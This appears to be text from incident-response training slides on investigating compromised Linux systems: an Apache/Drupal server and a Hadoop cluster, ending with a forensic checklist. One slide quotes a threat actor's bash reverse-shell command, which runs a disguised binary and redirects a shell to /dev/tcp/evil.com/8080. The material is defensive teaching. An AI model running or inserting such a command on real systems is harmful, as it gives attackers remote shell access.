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Case #1: Webserver Brief...

✘ Web Server Environment (Apache)

✘ Web Application (drupal)

✘ Used for local team
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✘ Unusual activity was noticed during 
last week (2nd week of Oct. 2019)



Case #2: HDFS Cluster Brief...

✘ Hadoop Distributed File System 
Environment

✘ Main NameNode facing the Internet
○ Master

✘ DataNodes on seperate network
○ Slave 1 and Slave 2
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✘ Suspicious activity was noticed on 
network during last 10 days

✘ Access to Master and Slaves from 
unusual host

✘ New software is found on the system
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Case #3 Compromising System



Bedtime Story !!!

/dev/tcp/evil.com

Bash Reverse Shell Case

Threat actor:
/usr/share/apache2/build/apache2 -i >& /dev/tcp/evil.com/8080 0>&1
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Attacks Mapped to MITRE 

ATT&CK Framework...

8



Summary of What to Do!!!...

✘ Gather as much case info as you can ...
✘ Understand the FHS ...
✘ Check user /etc/passwd and group accounts /etc/group
✘ Check shells and history logs
✘ Search added/modified files …
✘ Check running processes, locations, and configs ...
✘ Grep your way through logs, they are your friend ...
✘ Run timelines …
✘ Finalize your report ...
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